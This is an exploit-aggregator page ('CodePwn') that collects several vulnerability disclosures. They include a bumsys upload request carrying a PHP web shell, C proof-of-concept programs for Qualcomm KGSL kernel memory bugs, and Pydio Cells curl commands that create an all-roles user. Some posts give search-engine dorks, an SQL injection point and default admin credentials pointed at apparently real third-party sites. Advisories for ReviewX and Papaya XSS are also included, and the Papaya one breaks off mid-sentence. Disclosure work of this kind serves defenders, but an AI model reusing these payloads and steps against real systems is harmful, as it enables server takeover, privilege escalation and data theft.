Latest exploits :: CodePwn

<pre><code>Exploit Title: - unilogies/bumsys v1.0.3-beta - Unrestricted File Upload Google Dork : NA Date: 19-01-2023 Exploit Author: AFFAN AHMED Vendor Homepage: https://github.com/unilogies/bumsys Software Link: https://github.com/unilogies/bumsys/archive/refs/tags/v1.0.3-beta.zip Version: 1.0.3-beta Tested on: Windows 11, XAMPP-8.2.0 CVE : CVE-2023-0455 ================================ Steps_TO_Reproduce ================================ - Navigate to this URL:[https://demo.bumsys.org/settings/shop-list/](https://demo.bumsys.org/settings/shop-list/) - Click on action button to edit the Profile - Click on select logo button to upload the image - Intercept the POST Request and do the below changes . ================================================================ Burpsuite-Request ================================================================ POST /xhr/?module=settings&page=updateShop HTTP/1.1 Host: demo.bumsys.org Cookie: eid=1; currencySymbol=%EF%B7%BC; keepAlive=1; __0bb0b4aaf0f729565dbdb80308adac3386976ad3=9lqop41ssg3i9trh73enqbi0i7 Content-Length: 1280 Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99" X-Csrf-Token: 78abb0cc27ab54e87f66e8160dab3ab48261a8b4 Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynO0QAD84ekUMuGaA Accept: */* X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.bumsys.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.bumsys.org/settings/shop-list/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopName" TEST ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopAddress" test ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopCity" testcity ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopState" teststate ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopPostalCode" 700056 ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopCountry" testIND ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopPhone" 895623122 ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopEmail" test@gmail.com ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopInvoiceFooter" ------WebKitFormBoundarynO0QAD84ekUMuGaA Content-Disposition: form-data; name="shopLogo"; filename="profile picture.php" Content-Type: image/png <?php echo system($_REQUEST['dx']); ?> ==================================================================================== Burpsuite-Response ==================================================================================== HTTP/1.1 200 OK Date: Thu, 19 Jan 2023 07:14:26 GMT Server: Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips X-Powered-By: PHP/7.0.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 65 <div class='alert alert-success'>Shop successfully updated.</div> ==================================================================================== VIDEO-POC : https://youtu.be/nwxIoSlyllQ </code></pre>

<pre><code>Qualcomm Adreno/KGSL: pages can be freed to page pool while having GPU references [on !CONFIG_QCOM_KGSL_USE_SHMEM] [Tested on a Pixel 4 again with a slightly outdated version of KGSL. I ordered a Pixel 5a but don't have it yet...] On KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process. I don't know exactly what the security impact of this is and whether it leads to privilege escalation between userspace processes, but it probably leads at least to data leakage? Testcase that demonstrates cross-process data leakage (in an artificial scenario, between two cooperating processes): #define _GNU_SOURCE #include <err.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <stdlib.h> #include <assert.h> #include <stdio.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) #define KGSL_IOC_TYPE 0x09 enum kgsl_user_mem_type { KGSL_USER_MEM_TYPE_PMEM = 0x00000000, KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, KGSL_USER_MEM_TYPE_ADDR = 0x00000002, KGSL_USER_MEM_TYPE_ION = 0x00000003, KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, KGSL_USER_MEM_TYPE_MAX = 0x00000007, }; struct kgsl_gpumem_alloc { unsigned long gpuaddr; /* output param */ size_t size; unsigned int flags; }; #define KGSL_MEMALIGN_SHIFT 16 #define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL #define KGSL_CACHEMODE_SHIFT 26 #define KGSL_CACHEMODE_WRITECOMBINE 0 #define KGSL_CACHEMODE_UNCACHED 1 #define KGSL_CACHEMODE_WRITETHROUGH 2 #define KGSL_CACHEMODE_WRITEBACK 3 #define KGSL_MEMTYPE_SHIFT 8 #define KGSL_MEMTYPE_OBJECTANY 0 #define IOCTL_KGSL_GPUMEM_ALLOC \\ _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc) struct kgsl_sharedmem_free { unsigned long gpuaddr; }; #define IOCTL_KGSL_SHAREDMEM_FREE \\ _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free) void child_func(void) { int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR)); for (int i=0; i<10000; i++) { struct kgsl_gpumem_alloc kga = { .size = 0x1000, .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT) }; SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga)); unsigned long gpuaddr = kga.gpuaddr; //printf(\"[c] allocated 0x%lx\ \", gpuaddr); unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr)); map[0] = 0xbbbb000000000000 | (i); //printf(\"[c] mapped as %p\ \", map); } printf(\"[c] done with spam\ \"); sleep(5); } int main(void) { setbuf(stdout, NULL); setbuf(stderr, NULL); int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR)); struct kgsl_gpumem_alloc kga = { .size = 0x1000, .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT) }; SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga)); unsigned long gpuaddr = kga.gpuaddr; printf(\"[p] allocated 0x%lx\ \", gpuaddr); unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr)); map[0] = 0xaaaaaaaa; printf(\"[p] mapped as %p\ \", map); int pipefds[2]; SYSCHK(pipe(pipefds)); struct iovec iov = { .iov_base = map, .iov_len = 0x1000 }; assert(SYSCHK(vmsplice(pipefds[1], &iov, 1, SPLICE_F_NONBLOCK)) == iov.iov_len); SYSCHK(munmap(map, 0x1000)); struct kgsl_sharedmem_free arg_sf = { .gpuaddr = gpuaddr }; SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_SHAREDMEM_FREE, &arg_sf)); pid_t child = SYSCHK(fork()); if (child == 0) { SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL)); if (getppid() == 1) exit(0); child_func(); exit(0); } sleep(1); unsigned long later_data; assert(SYSCHK(read(pipefds[0], &later_data, 8)) == 8); printf(\"[p] read 0x%lx\ \", later_data); } Output: $ aarch64-linux-gnu-gcc -static -o kgsl-pool-page-uaf kgsl-pool-page-uaf.c && adb push kgsl-pool-page-uaf /data/local/tmp/ && adb shell /data/local/tmp/kgsl-pool-page-uaf kgsl-pool-page-uaf: 1 file pushed, 0 skipped. 80.7 MB/s (704808 bytes in 0.008s) [p] allocated 0x500000000 [p] mapped as 0x726bfc4000 [p] read 0xbbbb00000000115a This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-05-09. Related CVE Numbers: CVE-2023-21666. Found by: jannh@google.com </code></pre>

<pre><code>Qualcomm Adreno/KGSL: unchecked cast of vma->vm_file->private_data in kgsl_setup_dmabuf_useraddr() [Tested on a Pixel 4 (flame), on the latest update from 2023-02, which self-reports as SPL 2022-10-05, since I don't yet have any newer device with KGSL here - but as far as I can tell from the sources, it should also affect current versions.] The following bug was apparently introduced in https://git.codelinaro.org/clo/la/kernel/msm-3.18/-/commit/7ada2c15e39e5288b67ed5ae94b0a8dcb181b911 as part of the fix for CVE-2022-25743. In drivers/gpu/msm/kgsl.c (on the msm/android-msm-redbull-4.19-android13-qpr1 branch of https://android.googlesource.com/kernel/msm), kgsl_setup_dmabuf_useraddr() (reachable via IOCTL_KGSL_MAP_USER_MEM with KGSL_USER_MEM_TYPE_ADDR) does the following: - look up a VMA by user-specified address (find_vma()) - check that the VMA is not anonymous (vma->vm_file) - check that the VMA does *NOT* belong to KGSL - cast the vma->vm_file->private_data to a "struct dma_buf" [bogus cast] This type-confused pointer is then passed down to kgsl_setup_dma_buf(), which passes it to dma_buf_attach(), which accesses fields through the type-confused pointer. Here's a simple reproducer that confuses "struct dma_buf" with "struct binder_proc" - build it like "aarch64-linux-gnu-gcc -static -o kgsl-vma-type-confusion kgsl-vma-type-confusion.c": #define _GNU_SOURCE #include <err.h> #include <fcntl.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) typedef unsigned long binder_size_t; typedef unsigned long binder_uintptr_t; enum binder_driver_command_protocol { BC_INCREFS = _IOW('c', 4, unsigned int), }; struct binder_write_read { binder_size_t write_size; /* bytes to write */ binder_size_t write_consumed; /* bytes consumed by driver */ binder_uintptr_t write_buffer; binder_size_t read_size; /* bytes to read */ binder_size_t read_consumed; /* bytes consumed by driver */ binder_uintptr_t read_buffer; }; #define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read) #define KGSL_IOC_TYPE 0x09 enum kgsl_user_mem_type { KGSL_USER_MEM_TYPE_PMEM = 0x00000000, KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, KGSL_USER_MEM_TYPE_ADDR = 0x00000002, KGSL_USER_MEM_TYPE_ION = 0x00000003, KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, KGSL_USER_MEM_TYPE_MAX = 0x00000007, }; #define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U struct kgsl_map_user_mem { int fd; unsigned long gpuaddr; /*output param */ size_t len; size_t offset; unsigned long hostptr; /*input param */ enum kgsl_user_mem_type memtype; unsigned int flags; }; #define IOCTL_KGSL_MAP_USER_MEM \ _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem) int main(void) { /* * set up binder a little bit so that its private data isn't full of null * bytes */ int binder_fd = SYSCHK(open("/dev/binder", O_RDWR)); unsigned int write_buffer[2] = { BC_INCREFS, // cmd 0, // target }; struct binder_write_read arg_bwr = { .write_size = sizeof(write_buffer), .write_buffer = (unsigned long)write_buffer }; SYSCHK(ioctl(binder_fd, BINDER_WRITE_READ, &arg_bwr)); char *binder_vma = SYSCHK(mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, binder_fd, 0)); int kgsl_fd = SYSCHK(open("/dev/kgsl-3d0", O_RDWR)); struct kgsl_map_user_mem arg_mum = { .len = 0x1001, .offset = 0, .hostptr = (unsigned long)binder_vma, .memtype = KGSL_USER_MEM_TYPE_ADDR, .flags = KGSL_MEMFLAGS_GPUREADONLY }; SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_MAP_USER_MEM, &arg_mum)); } When you run this on a Pixel 4, you'll get a splat like this: [ 45.744676] Unexpected kernel BRK exception at EL1 [ 45.744689] Unhandled debug exception: ptrace BRK handler (0xf2005512) at 0xffffff95081fd358 [ 45.744695] Internal error: : 0 [#1] PREEMPT SMP [ 45.744700] Modules linked in: ftm5(O) heatmap videobuf2_vmalloc videobuf2_memops lkdtm adsp_loader_dlkm stub_dlkm usf_dlkm native_dlkm machine_dlkm platform_dlkm wcd_cpe_dlkm wsa881x_dlkm wcd934x_dlkm wcd9360_dlkm mbhc_dlkm wcd9xxx_dlkm swr_ctrl_dlkm cs35l36_dlkm q6_dlkm swr_dlkm apr_dlkm q6_notifier_dlkm q6_pdr_dlkm wglink_dlkm wcd_spi_dlkm wcd_core_dlkm pinctrl_wcd_dlkm msm_11ad_proxy wlan(O) incrementalfs [ 45.744735] Process kgsl-vma-type-c (pid: 7371, stack limit = 0x0000000017bcb360) [ 45.744741] CPU: 6 PID: 7371 Comm: kgsl-vma-type-c Tainted: G S W O 4.14.276-g6ef255005cea-ab9062920 #1 [ 45.744744] Hardware name: Qualcomm Technologies, Inc. SM8150 V2 PM8150 Google Inc. MSM sm8150 Flame (DT) [ 45.744748] task: 000000004f4f2973 task.stack: 0000000017bcb360 [ 45.744762] pc : osq_lock+0x17c/0x180 [ 45.744772] lr : __mutex_lock+0x134/0x7d8 [ 45.744776] sp : ffffff802681bab0 pstate : a0400145 [ 45.744779] x29: ffffff802681baf0 x28: ffffffdb21200da8 [ 45.744783] x27: ffffffdaa65e9800 x26: ffffffdaad722c00 [ 45.744786] x25: ffffff950aa8d000 x24: 000000000013a934 [ 45.744790] x23: ffffffdac40fda48 x22: ffffffdb6ac56c34 [ 45.744794] x21: 0000000000000002 x20: ffffffdb6ac56c28 [ 45.744797] x19: ffffffdac40fda00 x18: ffffffdab6d89458 [ 45.744801] x17: 0000000000000000 x16: ffffff9508095b90 [ 45.744805] x15: 0000000000000000 x14: 0000000000000070 [ 45.744809] x13: 0000000000000007 x12: 00000000ffffffda [ 45.744812] x11: ffffff950a6a3028 x10: ffffff950a6aed80 [ 45.744816] x9 : ffffffdbffbb3d80 x8 : 0000000000000000 [ 45.744820] x7 : 0000000000000000 x6 : 000000000000003f [ 45.744824] x5 : 0000000000000040 x4 : 0000000000000000 [ 45.744828] x3 : 0000000000000004 x2 : ffffffdac40fda00 [ 45.744831] x1 : 0000000000000002 x0 : ffffffdb6ac56c34 [ 45.744837] \x0aPC: osq_lock+0x13c/0x180: [ 45.744840] d318 540001c0 f940012d b4fffead aa1f03ee f8ee812d d503201f d503201f d503201f [ 45.744848] d338 d503201f b4fffdcd 2a1f03e0 f90005ac f900014d 17ffffdb 2a1f03e0 17ffffd9 [ 45.744855] d358 d42aa240 f800865e f81f0ffe d001252b d538d088 9100a16b b86b6908 aa1f03e2 [ 45.744862] d378 11000509 93407d21 aa0003e8 2a0103fe 88befc02 2a1e03e0 6b00013f 54000081 [ 45.744870] \x0aLR: __mutex_lock+0xf4/0x7d8: [ 45.744874] 8b94 b9045a68 35000196 14000030 b9445a68 71000508 540000e1 52b00008 b9045a68 [ 45.744881] 8bb4 b9445e68 350031a8 b9045a7f 14000002 b9045a68 91003296 aa1603e0 97939183 [ 45.744888] 8bd4 36000440 f9400281 f27df028 540000c0 eb13011f 540001e1 361001c1 92400428 [ 45.744895] 8bf4 14000002 92400828 927ef908 aa1403e0 aa130102 aa0103fe c8fe7e82 aa1e03e0 [ 45.744905] \x0aSP: 0xffffff802681ba70: [ 45.744908] ba70 081fd358 ffffff95 a0400145 00000000 00000000 00000000 d0608d00 c7188d35 [ 45.744916] ba90 ffffffff 0000007f 08c74984 ffffff95 2681baf0 ffffff80 081fd358 ffffff95 [ 45.744923] bab0 09d18bd4 ffffff95 0841e720 ffffff95 2681bb30 ffffff80 00000000 00000000 [ 45.744930] bad0 00000000 00000000 00000000 00000000 00000000 00000000 d0608d00 c7188d35 [ 45.744936] [ 45.744940] Call trace: [ 45.744943] osq_lock+0x17c/0x180 [ 45.744947] __mutex_lock_slowpath+0x14/0x20 [ 45.744954] dma_buf_attach+0x78/0x1cc [ 45.744960] kgsl_setup_dma_buf+0x5c/0x580 [ 45.744964] kgsl_setup_useraddr+0x118/0x89c [ 45.744968] kgsl_ioctl_map_user_mem+0x210/0x73c [ 45.744973] kgsl_ioctl_helper+0x13c/0x194 [ 45.744977] kgsl_ioctl+0x34/0xf0 [ 45.744982] do_vfs_ioctl+0x938/0xf3c [ 45.744986] SyS_ioctl+0x138/0x16c [ 45.744992] el0_svc_naked+0x34/0x38 [ 45.744997] Code: f900014d 17ffffdb 2a1f03e0 17ffffd9 (d42aa240) [ 45.745002] ---[ end trace b07b8661a56776c3 ]--- As you can see, dma_buf_attach() is trying to call mutex_lock(&dmabuf->lock) on the type-confused dmabuf pointer, which crashes the mutex implementation. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-05-09 This is QPSIIR-1788." This is A-271879598. bulletin entry: https://source.android.com/docs/security/bulletin/2023-05-01#qualcomm-components fix commit: https://git.codelinaro.org/clo/la/kernel/msm-4.19/-/commit/86695e1dd101e71571998281541b0b4378f89414 Related CVE Numbers: CVE-2022-25743,CVE-2023-21665. Found by: jannh@google.com </code></pre>

<pre><code>Description: ReviewX <= 1.6.13 – Arbitrary Usermeta Update to Authenticated (Subscriber+) Privilege Escalation Affected Plugin: ReviewX – Multi-criteria Rating & Reviews for WooCommerce Plugin Slug: reviewx Affected Versions: <= 1.6.13 CVE ID: CVE-2023-2833 CVSS Score: 8.8 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Researcher/s: Lana Codes Fully Patched Version: 1.6.14 The ReviewX plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.6.13 due to insufficient restriction on the ‘rx_set_screen_options’ function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role via the ‘wp_screen_options[option]’ and ‘wp_screen_options[value]’ parameters during a screen option update. Technical Analysis ReviewX is a plugin that primarily enables customers to add ratings and reviews to WooCommerce stores, but it is also possible to use it with custom post types. The reviews are listed on the WordPress admin page, which includes a screen option for how many reviews should be displayed per page for the admin user. Unfortunately, this feature was implemented insecurely, allowing all authenticated users to modify their capabilities, including granting themselves administrator capabilities. Upon closer examination of the code, we see that the ‘rx_set_screen_options’ function, which updates a user’s per-page screen option, is hooked to the ‘admin_init’ action. [View the Code Snippets on the Blog] This hook is triggered on every admin page without any post type or page restrictions. This means that the ‘rx_set_screen_options’ hooked function is invoked on all admin pages, allowing users who otherwise do not have access to the plugin to also access the function, as the function itself does not contain any restrictions. This makes it possible for any authenticated user with an account, such as a subscriber, to invoke the ‘rx_set_screen_options’ function. [View the Code Snippets on the Blog] The function includes a nonce check, but it uses a general nonce that is available on every admin page where there is a screen option. The most significant problem and vulnerability is caused by the fact that there are no restrictions on the option, so the user’s metadata can be updated arbitrarily, and there is no sanitization on the option value, so any value can be set, including an array value, which is necessary for the capability meta option. This made it possible for authenticated users, such as subscribers, to supply the ‘wp_capabilities’ array parameter with any desired capabilities, such as administrator, during a screen option update. As with any Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, and modifying posts and pages which can be leveraged to redirect site users to other malicious sites. Disclosure Timeline May 20, 2023 – Discovery of the Privilege Escalation vulnerability in ReviewX. May 20, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion. May 21, 2023 – The vendor confirms the inbox for handling the discussion. May 21, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix. May 22, 2023 – Wordfence Premium, Care, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability. May 23, 2023 – A fully patched version of the plugin, 1.6.14, is released. June 21, 2023 – Wordfence Free users receive the same protection. Conclusion In this blog post, we detailed a Privilege Escalation vulnerability within the ReviewX plugin affecting versions 1.6.13 and earlier. This vulnerability allows authenticated threat actors with subscriber-level permissions or higher to elevate their privileges to that of a site administrator which could ultimately lead to complete site compromise. The vulnerability has been fully addressed in version 1.6.14 of the plugin. We encourage WordPress users to verify that their sites are updated to the latest patched version of ReviewX. Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on May 22, 2023. Sites still using the free version of Wordfence will receive the same protection on June 21, 2023. If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk. For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard. </code></pre>

<pre><code>======================================================================================== | # Title : Apple Zeed ALL YOUR STYLE CMS 2.0 SQL injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 109.0(64-bit) | | # Vendor : https://www.applezeed.com/web-creative-package-all-your-style.php | | # Dork : Power BY applezeed.com | ======================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : tour-detail.php?id=4435 [+] https://127.0.0.1/https/biggestjoy.com/tour-detail.php?id=4435 <==== inject here Greetings to :============================================================================= jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*| =========================================================================================== </code></pre>

<pre><code>================================================================================ | # Title : Vaskar Courier Version 3.2.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : firefox 113.0.1(64 bits) | | # Vendor : https://www.vaskar.in/ | | # Dork : "Designed and Developed by Vaskar Web" | ================================================================================ poc : [+] The vulnerability is about leaves a default set of administrative credentials installed post installation. [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : user = admin & pass= 123 [+] https://127.0.0.1/geetanjalicourier.com/admin/ Greetings to :===================================================================================== jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | =================================================================================================== </code></pre>

<pre><code>Advisory: Pydio Cells: Unauthorised Role Assignments Pydio Cells allows users by default to create so-called external users in order to share files with them. By modifying the HTTP request sent when creating such an external user, it is possible to assign the new user arbitrary roles. By assigning all roles to a newly created user, access to all cells and non-personal workspaces is granted. Details ======= Product: Pydio Cells Affected Versions: 4.1.2 and earlier versions Fixed Versions: 4.2.0, 4.1.3, 3.0.12 Vulnerability Type: Privilege Escalation Security Risk: high Vendor URL: https://pydio.com/ Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-003 Advisory Status: published CVE: CVE-2023-32749 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32749 Introduction ============ "Pydio Cells is an open-core, self-hosted Document Sharing and Collaboration platform (DSC) specifically designed for organizations that need advanced document sharing and collaboration without security trade-offs or compliance issues." (from the vendor's homepage) More Details ============ Users can share cells or folders with other users on the same Pydio instance. The web application allows to either select an already existing user from a list or to create a new user by entering a new username and password, if this functionality is enabled. When creating a new user in this way, a HTTP PUT request like the following is sent: ------------------------------------------------------------------------ PUT /a/user/newuser HTTP/2 Host: example.com User-Agent: agent Authorization: Bearer O48gvjD[...] Content-Type: application/json Content-Length: 628 Cookie: token=AO[...] { "Attributes": { "profile": "shared", "parameter:core.conf:lang": "\"en-us\"", "send_email": "false" }, "Roles": [], "Login": "newuser", "Password": "secret!", "GroupPath": "/", "Policies": [...] } ------------------------------------------------------------------------ The JSON object sent in the body contains the username and password for the user to be created and an empty list for the key "Roles". The response contains a JSON object similar to the following: ------------------------------------------------------------------------ { "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce", "GroupPath": "/", "Attributes": { "parameter:core.conf:lang": "\"en-us\"", "profile": "shared" }, "Roles": [ { "Uuid": "EXTERNAL_USERS", "Label": "External Users", "Policies": [...] }, { "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce", "Label": "User newuser", "UserRole": true, "Policies": [...] } ], "Login": "newuser", "Policies": [....], "PoliciesContextEditable": true } ------------------------------------------------------------------------ The key "Roles" now contains a list with two objects, which seem to be applied by default. The roles list in the HTTP request can be modified to contain a list of all available UUIDs for roles, which can be obtained by using the user search functionality. This results in a new user account with all roles applied. By performing a login as the newly created user, access to all cells and non-personal workspaces of the whole Pydio instance is granted. Proof of Concept ================ Login to the Pydio Cells web interface with a regular user and retrieve the JWT from the HTTP requests. This can either be done using an HTTP attack proxy or using the browser's developer tools. Subsequently, curl [1] can be used as follows to retrieve a list of all users and their roles: ------------------------------------------------------------------------ $ export JWT="<insert JWT here>" $ curl --silent \ --header "Authorization: Bearer $TOKEN" \ --header 'Content-Type: application/json' \ --data '{}' \ https://example.com/a/user | tee all_users.json {"Users":[...]} ------------------------------------------------------------------------ Afterwards, jq [2] can be used to create a JSON document which can be sent to the Pydio REST-API in order to create the external user "foobar" with the password "hunter2" and all roles assigned: ------------------------------------------------------------------------ $ jq '.Users[].Roles' all_users.json \ | jq -s 'flatten | .[].Uuid | {Uuid: .}' \ | jq -s 'unique' \ | jq '{"Login": "foobar", "Password": "hunter2", "Attributes": {"profile": "shared"}, "Roles": .}' \ | tee create_user.json { "Login": "foobar", "Password": "hunter2", "Attributes": { "profile": "shared" }, "Roles": [...] } ------------------------------------------------------------------------ Finally, the following curl command can be issued to create the new external user: ------------------------------------------------------------------------ $ curl --request PUT \ --silent \ --header "Authorization: Bearer $JWT" \ --header 'Content-Type: application/json' \ --data @create_user.json \ https://example.com/a/user/foobar ------------------------------------------------------------------------ Now, login with the newly created user to access all cells and non-personal workspaces. Workaround ========== Disallow the creation of external users in the authentication settings. Fix === Upgrade Pydio Cells to a version without the vulnerability. Security Risk ============= Attackers with access to any regular user account for a Pydio Cells instance can extend their privileges by creating a new external user with all roles assigned. Subsequently, they can access all folders and files in any cell and workspace, except for personal workspaces. The creation of external users is activated by default. Therefore, the vulnerability is estimated to pose a high risk. Timeline ======== 2023-03-23 Vulnerability identified 2023-05-02 Customer approved disclosure to vendor 2023-05-02 Vendor notified 2023-05-03 CVE ID requested 2023-05-08 Vendor released fixed version 2023-05-14 CVE ID assigned 2023-05-16 Vendor asks for a few more days before the advisory is released 2023-05-30 Advisory released References ========== [1] https://curl.se/ [2] https://stedolan.github.io/jq/ RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Alter Posthof 1 Fax : +49 241 510081-99 52062 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Title ===== SCHUTZWERK-SA-2022-001: Cross-Site-Scripting in Papaya Medical Viewer Status ====== PUBLISHED Version ======= 1.0 CVE reference ============= CVE-2023-33255 Link ==== https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001/ Text-only version: https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001.txt Further SCHUTZWERK advisories: https://www.schutzwerk.com/blog/tags/advisories/ Affected products/vendor ======================== Papaya, Research Imaging Institute - University of Texas Health Science Center Summary ======= User supplied input in the form of DICOM or NIFTI images can be loaded into the Papaya web application without any kind of sanitization. This allows to inject arbitrary JavaScript code into the image's metadata which will in consequence be executed as soon as the metadata is displayed in the Papaya web application. Risk ==== The vulnerability allows an attacker to inject arbitrary JavaScript code into the Papaya web application. A risk calculation highly depends on how the Papaya software is used as a library in the context of a bigger medical web application. During the discovery of this vulnerability, the web application which used Papaya allowed to upload and store corresponding images on the web server and display them to multiple users. It was therefore possible to store JavaScript code on the server and attack users to impersonate or steal their session, leading to a disclosure of sensitive medical data. Description =========== A medical web application assessed for security vulnerabilities by SCHUTZWERK was found to contain a stored cross-site-scripting vulnerability. The application uses the Papaya JavaScript software[0] published by the Research Imaging Institute belonging to the University of Texas Health Science Center[1]. The software is described as "[..] a pure JavaScript medical research image viewer, supporting DICOM and NIFTI formats, compatible across a range of web browsers [..]". It can be used stand-alone or integrated into larger medical applications, has 192 forks and 488 stars on GitHub and was used in at least 50 published academic research papers[2]. One of the main features is to open medical images of multiple formats, which can be achieved via the context menu "File - Add image...". Papaya then displays the image and adds a new icon in the upper right corner of the viewer. This icon allows to open another context menu to edit the previous opened image as a layer 